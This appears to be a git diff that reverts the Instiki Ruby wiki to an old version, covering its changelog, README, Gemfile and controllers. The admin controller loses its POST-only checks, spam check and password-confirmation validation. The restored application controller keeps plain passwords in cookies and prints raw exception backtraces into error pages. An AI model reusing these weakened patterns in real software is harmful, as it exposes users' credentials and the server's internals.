+          Moved static parts of stylesheet to separate file [Lau T�rnskov]
+          Fixed better semantics for revision movement [Ryan Singer]
+          Fixed color diffs to work much better [Xen/Mertz/Atkins]
+          Fixed performance problems for All Pages list [Dennis Mertz]
+          Fixed lots of rendering bugs [Mark Reid]
+          Upgraded to RedCloth 2.0.11 [integrating the fine work of Dennis Mertz]
+          
+ * 0.8.9:
+          Added color diffs to see changes between revisions [Bill Atkins]
+              They're aren't quite perfect yet as new paragraphs split the <ins> tags (hence 0.8.9, not 0.9.0)
+          Added redirect to edit if content of page generates an error
+              (so the page doesn't become unusable on bugs in the markup engines)
+          Fixed update Web with different address bug [Denis Metz]
+          Fixed a bunch of wiki word rendering issues by doing wiki word detection and replacment at once
+          Upgraded to BlueCloth 0.0.3b (should fix loads of problems on Markdown wikis)
+          
+ * 0.8.5:
+          Instiki can now serve as a CMS by running a password-protected web with a published front
+          Added version check at startup (Instiki needs Ruby 1.8.1)
+          
+ * 0.8.1:
+          Actually included RedCloth 2.0.7 in the release
+          
+ * 0.8.0:
+          NOTE: Single-web wikis created in versions prior to 0.8.0 have "instiki" as their system password
+          Accepts wiki words in bracket style. Ex: [[wiki word]], [[c]],  [[We could'nt have done it!]]
+          Accepts camel-case wiki words in all latin, greek, cyrillian, and armenian unicode characters
+             Many thanks to Guan Yang for building the higher- and lower-case lookup tables
+             And thanks to Simon Arnaud for the initial patch that got the work started
+          Changed charset to UTF-8
+          Cut down on command-line options and replaced them with an per-web config screen
+          Added option to extend the stylesheet on a per-web basis to tweak the look in details
+          Added simple color options for variety
+          Added option to add/remove password protection on each web
+          Added the wiki name of the author locking a given page (instead of just "someone")
+          Removed single/multi-web distinction -- all Instikis are now multi-web
+          Load libraries from an unshifted load path, so that old installed libraries doesn't clash [Emiel van de Laar]
+          Keeps the author cookie forever, so you don't have to enter your name again and again
+          Fixed XHTML so it validates [Bruce D'Arcus]
+          Authors are no longer listed under orphan pages
+          Added export to markup (great for backups, potentially for switching wiki engine)
+          Don't link wiki words that proceeds from either /, = or ?
+            (http://c2.com/cgi/wiki?WikiWikiClones, /show/HomePage, cgi.pl?show=WikiWord without escaping)
+          Accessing an unexisting page redirects to a different url (/new/PageName)
+          Increased snapshot time to just once a day (cuts down on disk storage requirements)
+          Made RDoc support work better with 1.8.1 [Mauricio Fern�ndez]
+          Added convinient redirect from /wiki/ to /wiki/show/HomePage
+          Fixed BlueCloth bug with backticks at start of line
+          Updated to RedCloth 2.0.7 (and linked to the new Textile reference)
+          
+ * 0.7.0:
+          Added Markdown (BlueCloth) and RDoc [Mauricio Fern�ndez] as command-line markup choices
+          Added wanted and orphan page lists to All pages (only show up if there's actually orphan or wanted pages)
+          Added ISO-8859-1 as XML encoding in RSS feeds (makes FeedReader among others happy for special entities)
+          Added proper links in the RSS feed (but the body links are still relative, which NNW and others doesn't grok)
+          Added access keys: E => Edit, H => HomePage, A => All Pages, U => Recently Revised, X => Export
+          Added password-login through URL (so you can subscribe to feed on a protected web)
+          Added web passwords to the feed links for protected webs, so they work without manual login
+          Added the web name in small letters above all pages within a web
+          Polished authors and recently revised 
+          Updated to RedCloth 2.0.6
+          Changed content type for RSS feeds to text/xml (makes Mozilla Aggreg8 happy)
+          Changed searching to be case insensitive
+          Changed HomePage to display the name of the web instead
+          Changed exported HTML pages to be valid XHTML (which can be preprocessed by XSLT)
+          Fixed broken recently revised
+          
+ * 0.6.0:
+          Fixed Windows compatibility [Florian]
+          Fixed bug that would prevent Madeleine from taking snapshots in Daemon mode
+          Added export entire web as HTML in a zip file
+          Added RSS feeds
+          Added proper getops support for the growing number of options [Florian]
+          Added safe mode that forbids style options in RedCloth [Florian]
+          Updated RedCloth to 2.0.5
+          
+ * 0.5.0:
+          NOTE: 0.5.0 is NOT compatible with databases from earlier versions
+          Added revisions
+          Added multiple webs
+          Added password protection for webs on multi-web setups
+          Added the notion of authors (that are saved in a cookie)
+          Added command-line option for not running as a Daemon on Unix
+          
+ * 0.3.1:
+          Added option to escape wiki words with \ 
+          
+ * 0.3.0:
+          Brought all files into common style (including Textile help on the edit page)
+          Added page locking (if someone already is editing a page there's a warning)
+          Added daemon abilities on Unix (keep Instiki running after you close the terminal)
+          Made port 2500 the default port, so Instiki can be launched by dobbelt-click
+          Added Textile cache to speed-up rendering of large pages
+          Made WikiWords look like "Wiki Words"
+          Updated RedCloth to 2.0.4
+          
+ * 0.2.5:
+          Upgraded to RedCloth 2.0.2 and Madeleine 0.6.1, which means the
+          Windows problems are gone. Also fixed a problem with wikiwords
+          that used part of other wikiwords.
+          
+ * 0.2.0:
+          First public release
diff --git a/Gemfile b/Gemfile
deleted file mode 100644
index 82d1b225..00000000
--- a/Gemfile
+++ /dev/null
@@ -1,12 +0,0 @@
-source "http://rubygems.org"
-gem "sqlite3-ruby", :require => "sqlite3"
-gem "itextomml", ">=1.4.7"
-gem "rack", ">=1.1.0"
-gem "mongrel", ">=1.2.0.pre2"
-gem "rubyzip"
-gem "RedCloth", ">=4.0.0"
-gem "erubis"
-gem "nokogiri"
-gem "rake"
-gem "rdoc"
-gem "json"
diff --git a/README b/README
old mode 100644
new mode 100755
index c47f4bf2..adbaaaf1
--- a/README
+++ b/README
@@ -1,134 +1,68 @@
-
-= Instiki
-
-Instiki is a wiki clone so pretty and easy to set up, you'll wonder if it’s really a wiki. Runs on Rails and focuses on portability and stability. Supports file uploads, PDF export, RSS, multiple users and password protection. Some use Instiki as a CMS (Content Management System) because of its ability to export static pages.
-
-Instiki lowers the barriers of interest for when you might consider using a wiki. It's so simple to get running that you'll find yourself using it for anything -- taking notes, brainstorming, organizing a gathering.
-
-
-== Supported Platforms
-
-Instiki only relies on Ruby - the sole external dependency (it includes all other dependencies). Any OS that can run Ruby can run Instiki - that includes Windows, Linux, Mac OS X and most known Unix flavors.
-
-Instiki on BeOS, Amiga OS, OS2, Zeta OS and support for various exotic Platforms is planned. Mostly it already works, if Ruby runs there (download the linux version in this case). Please contact parasew if you want to help out for your OS that is not listed. Please also get in touch if you are able to create an instiki package for your favorite unix or linux distribution.
-
-
-== 3 easy Steps to get the Instiki experience
-
-  Step 1. Get Instiki and run "ruby bundle"
-  Step 2. Run "instiki"
-  Step 3. Chuckle... "There's no step three!" (TM)
- 
-
-== Details
-
-You need at least Ruby Version 1.8.6, and Rubygems 1.3.6, installed on your System. The second dependency is a Database System, but don't worry, the default sqlite3 will be installed for you, if it's not already installed. You can also use any other database system (MySQL, PostgreSQL, ...) supported by Rails.
-
-
-=== If you are on Windows
-
-- Get the *Ruby One-Click Installer - Windows* http://rubyforge.org/projects/rubyinstaller
-- Get Development Kit http://github.com/oneclick/rubyinstaller/wiki/development-kit
-- In the Instiki directory, execute "ruby bundle"
-- double-click instiki.bat or instiki.cmd and there you go!
-
-=== If you are on Mac OSX
-
-On Leopard and Snow Leopard, you are all set.
-- run "sudo gem update --system" via the command-line.
-- run "ruby bundle" in the instiki directory.
-- run "ruby instiki" and there you go!
-
-Tiger ships with a really old Ruby Version (1.8.2) and a broken Readline Library you have to
-- use the Ruby One-Click-Installer for OSX ( http://rubyosx.com ) if you don't already have macports' Ruby
-
-=== If you are on Linux
-
-
-=== Any other System
-
-- get Ruby for your System, compile if nessesary: http://ruby-lang.org
-- Depending on the version of Rubygems that came with your Ruby, you may need to
-
-    sudo gem update --system
-    
-- get SQLite or compile from http://sqlite.org (you can also use mysql or any other supported database system if you want)
-- run "ruby bundle"
-- run instiki
-
-You're now running a perfectly suitable wiki on port 2500 that'll present you with one-step setup, followed by a textarea for the home page on http://localhost:2500
-
-
-== Features
-
-* Regular expression search: Find deep stuff really fast
-* Revisions: Follow the changes on every page from birth. Rollback to an earlier rev
-* Export to HTML or markup in a zip: Take the entire wiki with you home or for reference
-* RSS feeds to track recently revised pages
-* Multiple webs: Create separate wikis with their own namespace
-* Password-protected webs: Keep it private
-* Authors: Each revision is associated with an author, so you can see who changed what
-* Reference tracker: Which other pages are pointing to the current?
-* Five markup choices:
-   Markdown-based choices [http://daringfireball.net/projects/markdown/syntax]:
-     Markdown+itex2MML (the default; requires itex2MML) 
-     Markdown+BlahTeX/PNG (requires blahtex and a working TeX installation)
-     Markdown
-   Textile [http://www.textism.com/tools/textile]
-   RDoc [http://rdoc.sourceforge.net/doc]
-* Support for Math (using itex syntax [http://golem.ph.utexas.edu/~distler/blog/itex2MMLcommands.html]) 
-* Support for WYSIWYG SVG editing -- embed SVG graphics right in your wiki page.
-* Embedded webserver: uses Mongrel (if installed), or the bundled WEBrick webserver (if not).
-* Internationalization: Wiki words in any latin, greek, cyrillian, or armenian characters
-* Color diffs: Track changes through revisions
-* Runs on SQLite3 per default, can be configured to run on PostgreSQL, MySQL, DB2, Firebird, Openbase, Oracle, SQL Server or Sybase
-
-
-== Command-line options:
-
-* Run "ruby instiki --help"
-
-
-== History:
-
- * See CHANGELOG
-
-== Migrating from Instiki 0.11-0.18 to 0.19
-
-   ruby bundle
-   ruby bundle exec rake upgrade_instiki
-   
-== Download the latest release from:
-
-* http://rubyforge.org/project/showfiles.php?group_id=186
-
-
-== Visit the Instiki wiki:
-
-* http://golem.ph.utexas.edu/wiki/instiki/
-
-
-== License:
-
-* same as Ruby's
-
-
----
-
-Authors::
-
-Versions 0.0 to 0.9.1:: David Heinemeier Hansson
-Email::  david[AT]loudthinking.com
-Weblog:: http://www.loudthinking.com[http://www.loudthinking.com]
-
-From 0.9.2 onwards:: Alexey Verkhovsky
-Email:: alex[AT]verk.info
-
-From 0.11 onwards:: Matthias Tarasiewicz and 5uper.net
-Email:: parasew[AT]gmail.com
-Website:: http://5uper.net[http://5uper.net]
-
-From 0.13 onwards:: Matthias Tarasiewicz and Jacques Distler
-Email:: instiki-devel[AT]rubyforge.org
-Weblog Jacques: http://golem.ph.utexas.edu/~distler/blog/
-Weblog Parasew: http://parasew.com
+===What is Instiki?
+
+Admitted, it's YetAnotherWikiClone[http://c2.com/cgi/wiki?WikiWikiClones], but with a strong focus
+on simplicity of installation and running:
+
+Step 1. Download
+
+Step 2. Run "instiki"
+
+Step 3. Chuckle... "There's no step three!" (TM)
+
+You're now running a perfectly suitable wiki on port 2500 
+that'll present you with one-step setup, followed by a textarea for the home page
+on http://localhost:2500.
+
+Instiki lowers the barriers of interest for when you might consider
+using a wiki. It's so simple to get running that you'll find yourself
+using it for anything -- taking notes, brainstorming, organizing a 
+gathering.
+
+===Features:
+* Regular expression search: Find deep stuff really fast
+* Revisions: Follow the changes on every page from birth. Rollback to an earlier rev
+* Export to HTML or markup in a zip: Take the entire wiki with you home or for reference
+* RSS feeds to track recently revised pages
+* Multiple webs: Create separate wikis with their own namespace
+* Password-protected webs: Keep it private
+* Authors: Each revision is associated with an author, so you can see who changed what
+* Reference tracker: Which other pages are pointing to the current?
+* Speed: Using Madelein[http://madeleine.sourceforge.net] for persistence (all pages are in memory)
+* Three markup choices: Textile[http://www.textism.com/tools/textile] 
+  (default / RedCloth[http://www.whytheluckystiff.net/ruby/redcloth]), 
+  Markdown (BlueCloth[http://bluecloth.rubyforge.org]), and RDoc[http://rdoc.sourceforge.net/doc]
+* Embedded webserver: Through WEBrick[http://www.webrick.org]
+* Internationalization: Wiki words in any latin, greek, cyrillian, or armenian characters
+* Color diffs: Track changes through revisions
+
+===Missing:
+* File attachments
+
+===Install from gem:
+* Install rubygems
+* Run "gem install instiki"
+* Change to a directory where you want Instiki to keep its data files (for example,  ~/instiki/)
+* Run "instiki" - this will create a "storage" directory (for example, ~/instiki/storage), and start a new Wiki service
+
+Make sure that you always launch Instiki from the same working directory, or specify the storage directory in runtime parameters, such as:
+  instiki --storage ~/instiki/storage
+
+===Command-line options:
+* Run "instiki --help"
+
+===History:
+ * See CHANGELOG
+
+===Download latest from: 
+* http://rubyforge.org/project/showfiles.php?group_id=186
+
+===Visit the official Instiki wiki:
+* http://www.instiki.org
+
+===License:
+* same as Ruby's
+
+---
+Author:: David Heinemeier Hansson
+Email::  david@loudthinking.com
+Weblog:: http://www.loudthinking.com
diff --git a/UPGRADING b/UPGRADING
deleted file mode 100644
index 6eabda39..00000000
--- a/UPGRADING
+++ /dev/null
@@ -1,21 +0,0 @@
-UPGRADING
-=========
-
-See the upgrading instructions 
-
-     http://golem.ph.utexas.edu/wiki/instiki/show/Upgrading
-
-for detailed instructions.
-
-At a minimum, you need to backup your database.
-After installing the new software and restoring your database, you need to run
-
-     ruby bundle
-     ruby bundle exec rake upgrade_instiki
-
-from the commandline, to complete the upgrade. Doing a
-
-
-     ruby bundle update
-
-will update the installed gems (used by Instiki) to the latest versions.
\ No newline at end of file
diff --git a/app/apis/.gitignore b/app/apis/.gitignore
deleted file mode 100644
index e69de29b..00000000
diff --git a/app/controllers/admin_controller.rb b/app/controllers/admin_controller.rb
index fec358f1..6bca0f15 100644
--- a/app/controllers/admin_controller.rb
+++ b/app/controllers/admin_controller.rb
@@ -1,8 +1,8 @@
+require 'application'
+
 class AdminController < ApplicationController
 
   layout 'default'
-  cache_sweeper :web_sweeper
-  before_filter :dnsbl_check
 
   def create_system
     if @wiki.setup?
@@ -12,12 +12,12 @@ class AdminController < ApplicationController
           "\n\n" +
           "(WARNING: this will destroy content of your current wiki)."
       redirect_home(@wiki.webs.keys.first)
-    elsif params['web_name']
+    elsif @params['web_name']
       # form submitted -> create a wiki
-      @wiki.setup(params['password'], params['web_name'], params['web_address']) 
-      flash[:info] = "Your new wiki '#{params['web_name']}' is created!\n" + 
+      @wiki.setup(@params['password'], @params['web_name'], @params['web_address']) 
+      flash[:info] = "Your new wiki '#{@params['web_name']}' is created!\n" + 
           "Please edit its home page and press Submit when finished."
-      redirect_to :web => params['web_address'], :controller => 'wiki', :action => 'new', 
+      redirect_to :web => @params['web_address'], :controller => 'wiki', :action => 'new', 
           :id => 'HomePage'
     else
       # no form submitted -> go to template
@@ -25,22 +25,20 @@ class AdminController < ApplicationController
   end
 
   def create_web
-    if params['address']
-      return unless is_post
+    if @params['address']
       # form submitted
-      if @wiki.authenticate(params['system_password'])
+      if @wiki.authenticate(@params['system_password'])
         begin
-          @wiki.create_web(params['name'], params['address'])
-          flash[:info] = "New web '#{params['name']}' successfully created."
-          redirect_to :web => params['address'], :controller => 'wiki', :action => 'new', 
+          @wiki.create_web(@params['name'], @params['address'])
+          flash[:info] = "New web '#{@params['name']}' successfully created."
+          redirect_to :web => @params['address'], :controller => 'wiki', :action => 'new', 
               :id => 'HomePage'
         rescue Instiki::ValidationError => e
           @error = e.message
           # and re-render the form again
         end
-      else
-        flash[:error] = "System Password incorrect. Try again." 
-        redirect_to :controller => 'admin', :action => 'create_web'
+      else 
+        redirect_to :controller => 'wiki', :action => 'index'
       end
     else
       # no form submitted -> render template
@@ -48,30 +46,27 @@ class AdminController < ApplicationController
   end
 
   def edit_web
-    system_password = params['system_password']
+
+    system_password = @params['system_password']
     if system_password
-      return unless is_post
       # form submitted
       if wiki.authenticate(system_password)
         begin
-          raise Instiki::ValidationError.new("Password for this Web didn't match") unless
-            (params['password'].empty? or params['password'] == params['password_check'])
           wiki.edit_web(
-            @web.address, params['address'], params['name'], 
-            params['markup'].intern, 
-            params['color'], params['additional_style'], 
-            params['safe_mode'] ? true : false, 
-            params['password'].empty? ? nil : params['password'],
-            params['published'] ? true : false, 
-            params['brackets_only'] ? true : false,
-            params['count_pages'] ? true : false,
-            params['allow_uploads'] ? true : false,
-            params['max_upload_size']
+            @web.address, @params['address'], @params['name'], 
+            @params['markup'].intern, 
+            @params['color'], @params['additional_style'], 
+            @params['safe_mode'] ? true : false, 
+            @params['password'].empty? ? nil : @params['password'],
+            @params['published'] ? true : false, 
+            @params['brackets_only'] ? true : false,
+            @params['count_pages'] ? true : false,
+            @params['allow_uploads'] ? true : false,
+            @params['max_upload_size']
           )
-          flash[:info] = "Web '#{params['address']}' was successfully updated"
-          redirect_home(params['address'])
+          flash[:info] = "Web '#{@params['address']}' was successfully updated"
+          redirect_home(@params['address'])
         rescue Instiki::ValidationError => e
-          logger.warn e.message
           @error = e.message
           # and re-render the same template again
         end
@@ -85,57 +80,14 @@ class AdminController < ApplicationController
   end
 
   def remove_orphaned_pages
-    return unless is_post
-    if wiki.authenticate(params['system_password_orphaned'])
+    if wiki.authenticate(@params['system_password_orphaned'])
       wiki.remove_orphaned_pages(@web_name)
       flash[:info] = 'Orphaned pages removed'
       redirect_to :controller => 'wiki', :web => @web_name, :action => 'list'
     else
-      flash[:error] = password_error(params['system_password_orphaned'])
+      flash[:error] = password_error(@params['system_password_orphaned'])
       redirect_to :controller => 'admin', :web => @web_name, :action => 'edit_web'
     end
   end
-  
-  def remove_orphaned_pages_in_category
-    return unless is_post
-    if wiki.authenticate(params['system_password_orphaned_in_category'])
-      category = params['category']
-      wiki.remove_orphaned_pages_in_category(@web_name, category)
-      flash[:info] = "Orphaned pages in category \"#{category}\" removed"
-      redirect_to :controller => 'wiki', :web => @web_name, :action => 'list'
-    else
-      flash[:error] = password_error(params['system_password_orphaned_in_category'])
-      redirect_to :controller => 'admin', :web => @web_name, :action => 'edit_web'
-    end
-  end
-
-  def delete_web
-    return unless is_post
-    if wiki.authenticate(params['system_password_delete_web'])
-      wiki.delete_web(@web_name)
-      flash[:info] = "Web \"#{@web_name}\" has been deleted."
-      redirect_to :controller => 'wiki', :action => 'web_list'
-    else
-      flash[:error] = password_error(params['system_password_delete_web'])
-      redirect_to :controller => 'admin', :web => @web_name, :action => 'edit_web'
-    end  
-  end
-  
-  def delete_files
-    return unless is_post
-    some_deleted = false
-    if wiki.authenticate(params['system_password'])
-      params.each do |file, p|
-        if p == 'delete'
-          WikiFile.find_by_file_name(file).destroy
-          some_deleted = true
-        end
-      end
-      flash[:info] = "File(s) successfully deleted." if some_deleted
-    else
-      flash[:error] = password_error(params['system_password'])
-    end
-    redirect_to :back
-  end
 
 end
diff --git a/app/controllers/application.rb b/app/controllers/application.rb
new file mode 100644
index 00000000..552eec83
--- /dev/null
+++ b/app/controllers/application.rb
@@ -0,0 +1,161 @@
+# The filters added to this controller will be run for all controllers in the application.
+# Likewise will all the methods added be available for all controllers.
+class ApplicationController < ActionController::Base
+
+  before_filter :set_utf8_http_header, :connect_to_model, :check_snapshot_thread
+  after_filter :remember_location
+
+  # For injecting a different wiki model implementation. Intended for use in tests
+  def self.wiki=(the_wiki)
+    # a global variable is used here because Rails reloads controller and model classes in the 
+    # development environment; therefore, storing it as a class variable does not work
+    # class variable is, anyway, not much different from a global variable
+    $instiki_wiki_service = the_wiki
+    logger.debug("Wiki service: #{the_wiki.to_s}")
+  end
+
+  def self.wiki
+    $instiki_wiki_service
+  end
+
+  protected
+  
+  def authorized?
+    @web.nil? ||
+    @web.password.nil? ||
+    cookies['web_address'] == @web.password || 
+    password_check(@params['password'])
+  end
+
+  def check_authorization
+    if in_a_web? and needs_authorization?(@action_name) and not authorized? and 
+      redirect_to :controller => 'wiki', :action => 'login', :web => @web_name
+      return false
+    end
+  end
+
+  def check_snapshot_thread
+    WikiService.check_snapshot_thread
+  end
+
+  def connect_to_model
+    @action_name = @params['action'] || 'index'
+    @web_name = @params['web']
+    @wiki = wiki
+    if @web_name
+      @web = @wiki.webs[@web_name] 
+      if @web.nil?
+        render_text "Unknown web '#{@web_name}'", '404 Not Found'
+        return false
+      end
+    end
+    @page_name = @file_name = @params['id']
+    @page = @wiki.read_page(@web_name, @page_name) unless @page_name.nil?
+    @author = cookies['author'] || 'AnonymousCoward'
+    check_authorization
+  end
+
+  FILE_TYPES = {
+    '.exe' => 'application/octet-stream',
+    '.gif' => 'image/gif',
+    '.jpg' => 'image/jpeg',
+    '.pdf' => 'application/pdf',
+    '.png' => 'image/png',
+    '.txt' => 'text/plain',
+    '.zip' => 'application/zip'
+  } unless defined? FILE_TYPES
+
+  def send_file(file, options = {})
+    options[:type] ||= (FILE_TYPES[File.extname(file)] || 'application/octet-stream')
+    options[:stream] = false
+    super(file, options)
+  end
+
+  def in_a_web?
+    not @web_name.nil?
+  end
+
+  def password_check(password)
+    if password == @web.password
+      cookies['web_address'] = password
+      true
+    else
+      false
+    end
+  end
+
+  def password_error(password)
+    if password.nil? or password.empty?
+      'Please enter the password.'
+    else 
+      'You entered a wrong password. Please enter the right one.'
+    end
+  end
+
+  def redirect_home(web = @web_name)
+    if web
+      redirect_to_page('HomePage', web)
+    else
+      redirect_to_url '/'
+    end
+  end
+
+  def redirect_to_page(page_name = @page_name, web = @web_name)
+    redirect_to :web => web, :controller => 'wiki', :action => 'show', 
+        :id => (page_name || 'HomePage')
+  end
+
+  @@REMEMBER_NOT = ['locked', 'save', 'back', 'file', 'pic', 'import']
+  def remember_location
+    if @response.headers['Status'] == '200 OK'
+      unless @@REMEMBER_NOT.include? action_name or @request.method != :get
+        @session[:return_to] = @request.request_uri
+        logger.debug("Session ##{session.object_id}: remembered URL '#{@session[:return_to]}'")
+      end
+    end
+  end
+
+  def rescue_action_in_public(exception)
+    message = <<-EOL
+      <html><body>
+        <h2>Internal Error 500</h2>
+        <p>An application error occurred while processing your request.</p>
+        <!-- \n#{exception}\n#{exception.backtrace.join("\n")}\n  -->
+      </body></html>
+    EOL
+    render_text message, 'Internal Error 500'
+  end
+
+  def return_to_last_remembered
+    # Forget the redirect location
+    redirect_target, @session[:return_to] = @session[:return_to], nil
+    tried_home, @session[:tried_home] = @session[:tried_home], false
+
+    # then try to redirect to it
+    if redirect_target.nil?
+      if tried_home
+        raise 'Application could not render the index page'
+      else
+        logger.debug("Session ##{session.object_id}: no remembered redirect location, trying home")
+        redirect_home
+      end
+    else
+      logger.debug("Session ##{session.object_id}: " +
+          "redirect to the last remembered URL #{redirect_target}")
+      redirect_to_url(redirect_target)
+    end
+  end
+
+  def set_utf8_http_header
+    @response.headers['Content-Type'] = 'text/html; charset=UTF-8'
+  end
+
+  def wiki
+    $instiki_wiki_service
+  end
+
+  def needs_authorization?(action)
+    not %w( login authenticate published rss_with_content rss_with_headlines ).include?(action)
+  end
+
+end
diff --git a/app/controllers/application_controller.rb b/app/controllers/application_controller.rb
deleted file mode 100644
index dd6767e6..00000000
--- a/app/controllers/application_controller.rb
+++ /dev/null
@@ -1,308 +0,0 @@
-# The filters added to this controller will be run for all controllers in the application.
-# Likewise will all the methods added be available for all controllers.
-class ApplicationController < ActionController::Base
-
-  protect_forms_from_spam
-  before_filter :connect_to_model, :check_authorization, :setup_url_generator, :set_content_type_header, :set_robots_metatag
-  after_filter :remember_location, :teardown_url_generator
-
-  # For injecting a different wiki model implementation. Intended for use in tests
-  def self.wiki=(the_wiki)
-    # a global variable is used here because Rails reloads controller and model classes in the 
-    # development environment; therefore, storing it as a class variable does not work
-    # class variable is, anyway, not much different from a global variable
-    #$instiki_wiki_service = the_wiki
-    logger.debug("Wiki service: #{the_wiki.to_s}")
-  end
-
-  def self.wiki
-    Wiki.new
-  end
-
-  helper_method :xhtml_enabled?, :html_ext, :darken
-
-  protected
-
-  def xhtml_enabled?
-    in_a_web? and [:markdownMML, :markdownPNG, :markdown].include?(@web.markup)
-  end
-
-  def html_ext
-    if xhtml_enabled? && request.env.include?('HTTP_ACCEPT') &&
-           Mime::Type.parse(request.env["HTTP_ACCEPT"]).include?(Mime::XHTML)
-       'xhtml'
-    else
-      'html'
-    end       
-  end
-
-  def darken(s)
-     n=s.length/3
-     s.scan( %r(\w{#{n},#{n}}) ).collect {|a| (a.hex * 2/3).to_s(16).rjust(n,'0')}.join
-  end
-
-  def check_authorization    
-    redirect_to(:controller => 'wiki', :action => 'login',
-                :web => @web_name) if in_a_web? and authorization_needed? and not authorized?
-  end
-
-  def connect_to_model
-    @action_name = params['action'] || 'index'
-    @web_name = params['web']
-    @wiki = wiki
-    @author = cookies['author'] || 'AnonymousCoward'
-    if @web_name
-      @web = @wiki.webs[@web_name]
-      render(:status => 404, :text => "Unknown web '#{@web_name}'",
-             :layout => 'error') if @web.nil?
-    end
-  end
-
-  FILE_TYPES = {
-    '.aif' => 'audio/x-aiff',  
-    '.aiff'=> 'audio/x-aiff',  
-    '.avi' => 'video/x-msvideo',  
-    '.exe' => 'application/octet-stream',
-    '.gif' => 'image/gif',
-    '.jpg' => 'image/jpeg',
-    '.pdf' => 'application/pdf',
-    '.png' => 'image/png',
-    '.oga' => 'audio/ogg',
-    '.ogg' => 'audio/ogg',
-    '.ogv' => 'video/ogg',
-    '.mov' => 'video/quicktime',
-    '.mp3' => 'audio/mpeg',
-    '.mp4' => 'video/mp4',
-    '.spx' => 'audio/speex',
-    '.txt' => 'text/plain',
-    '.tex' => 'text/plain',
-    '.wav' => 'audio/x-wav',
-    '.zip' => 'application/zip'
-  } unless defined? FILE_TYPES
-
-  DISPOSITION = {
-    'application/octet-stream' => 'attachment',
-    'application/pdf'          => 'inline',
-    'image/gif'                => 'inline',
-    'image/jpeg'               => 'inline',
-    'image/png'                => 'inline',
-    'audio/mpeg'               => 'inline',
-    'audio/x-wav'              => 'inline',
-    'audio/x-aiff'             => 'inline',
-    'audio/speex'             => 'inline',
-    'audio/ogg'                => 'inline',
-    'video/ogg'                => 'inline',
-    'video/mp4'                => 'inline',
-    'video/quicktime'          => 'inline',
-    'video/x-msvideo'          => 'inline',
-    'text/plain'               => 'inline',
-    'application/zip'          => 'attachment'
-  } unless defined? DISPOSITION
- 
-  def determine_file_options_for(file_name, original_options = {})
-    original_options[:type] ||= (FILE_TYPES[File.extname(file_name)] or 'application/octet-stream')
-    original_options[:disposition] ||= (DISPOSITION[original_options[:type]] or 'attachment')
-    original_options[:stream] ||= false
-    original_options[:x_sendfile] = true if request.env.include?('HTTP_X_SENDFILE_TYPE') &&
-            ( request.remote_addr == LOCALHOST || defined?(PhusionPassenger) )
-    original_options
-  end
-  
-  def send_file(file, options = {})
-    determine_file_options_for(file, options)
-    super(file, options)
-  end
-
-  def password_check(password)
-    if password == @web.password
-      cookies[CGI.escape(@web_name)] = password
-      true
-    else
-      false
-    end
-  end
-
-  def password_error(password)
-    if password.nil? or password.empty?
-      'Please enter the password.'
-    else 
-      'You entered a wrong password. Please enter the right one.'
-    end
-  end
-
-  def redirect_home(web = @web_name)
-    if web
-      redirect_to_page('HomePage', web)
-    else
-      redirect_to '/'
-    end
-  end
-
-  def redirect_to_page(page_name = @page_name, web = @web_name)
-    redirect_to :web => web, :controller => 'wiki', :action => 'show', 
-        :id => (page_name or 'HomePage')
-  end
-
-  def remember_location
-    if request.method == :get and 
-        @status == '200' and not \
-        %w(locked save back file pic import).include?(action_name)
-      session[:return_to] = request.request_uri
-      logger.debug "Session ##{session.object_id}: remembered URL '#{session[:return_to]}'"
-    end
-  end
-
-  def rescue_action_in_public(exception)
-      render :status => 500, :text => <<-EOL
-        <html xmlns="http://www.w3.org/1999/xhtml"><body>
-          <h2>Internal Error</h2>
-          <p>An application error occurred while processing your request.</p>
-          <!-- \n#{exception.to_s.purify.gsub!(/-{2,}/, '- -') }\n#{exception.backtrace.join("\n")}\n -->
-        </body></html>
-      EOL
-  end
-
-  def return_to_last_remembered
-    # Forget the redirect location
-    redirect_target, session[:return_to] = session[:return_to], nil
-    tried_home, session[:tried_home] = session[:tried_home], false
-
-    # then try to redirect to it
-    if redirect_target.nil?
-      if tried_home
-        raise 'Application could not render the index page'
-      else
-        logger.debug("Session ##{session.object_id}: no remembered redirect location, trying home")
-        redirect_home
-      end
-    else
-      logger.debug("Session ##{session.object_id}: " +
-          "redirect to the last remembered URL #{redirect_target}")
-      redirect_to(redirect_target)
-    end
-  end
-
-  def set_content_type_header
-    response.charset = 'utf-8'
-    if %w(atom_with_content atom_with_headlines).include?(action_name)
-      response.content_type = Mime::ATOM
-    elsif %w(tex tex_list).include?(action_name)
-      response.content_type = Mime::TEXT
-    elsif xhtml_enabled?
-      if request.user_agent =~ /Validator/ or request.env.include?('HTTP_ACCEPT') &&
-           Mime::Type.parse(request.env["HTTP_ACCEPT"]).include?(Mime::XHTML)  
-        response.content_type = Mime::XHTML
-      elsif request.user_agent =~ /MathPlayer/ 
-        response.charset = nil
-        response.content_type = Mime::XHTML
-        response.extend(MathPlayerHack)
-      else
-        response.content_type = Mime::HTML
-      end
-    else
-      response.content_type = Mime::HTML
-    end
-  end
-
-  def set_robots_metatag
-    if controller_name == 'wiki' and %w(show published s5).include? action_name and !(params[:mode] == 'diff')
-      @robots_metatag_value = 'index,follow'
-    else
-      @robots_metatag_value = 'noindex,nofollow'
-    end
-  end
-
-  def setup_url_generator
-    PageRenderer.setup_url_generator(UrlGenerator.new(self))
-  end
-
-  def teardown_url_generator
-    PageRenderer.teardown_url_generator
-  end
-
-  def wiki
-    self.class.wiki
-  end
-
-  private
-
-  def in_a_web?
-    not @web_name.nil?
-  end
-  
-  def authorization_needed?
-    not %w(login authenticate feeds published atom_with_headlines atom_with_content file blahtex_png).include?(action_name)
-  end
-
-  def authorized?
-    @web.nil? or
-    @web.password.nil? or
-    cookies[CGI.escape(@web_name)] == @web.password or
-    password_check(params['password']) or
-    (@web.published? and action_name == 's5')
-  end
-
-  def is_post
-    unless (request.post? || Rails.env.test?)
-      layout = 'error'
-      layout = false if %w(tex tex_list).include?(action_name)
-      headers['Allow'] = 'POST'
-      render(:status => 405, :text => 'You must use an HTTP POST', :layout => layout)
-    end
-    return true
-  end
-
-end
-
-module Mime
-  # Fix HTML
-  #HTML  = Type.new "text/html", :html, %w( application/xhtml+xml )
-  self.class.const_set("HTML", Type.new("text/html", :html) )
-
-  # Add XHTML
-  XHTML  = Type.new "application/xhtml+xml", :xhtml
-  
-  # Fix xhtml and html lookups
-  LOOKUP["text/html"]             = HTML
-  LOOKUP["application/xhtml+xml"] = XHTML
-end
-
-module MathPlayerHack
-    def charset=(encoding)
-      self.headers["Content-Type"] = "#{content_type || Mime::HTML}"
-    end
-end
-
-module Instiki
-  module VERSION #:nodoc:
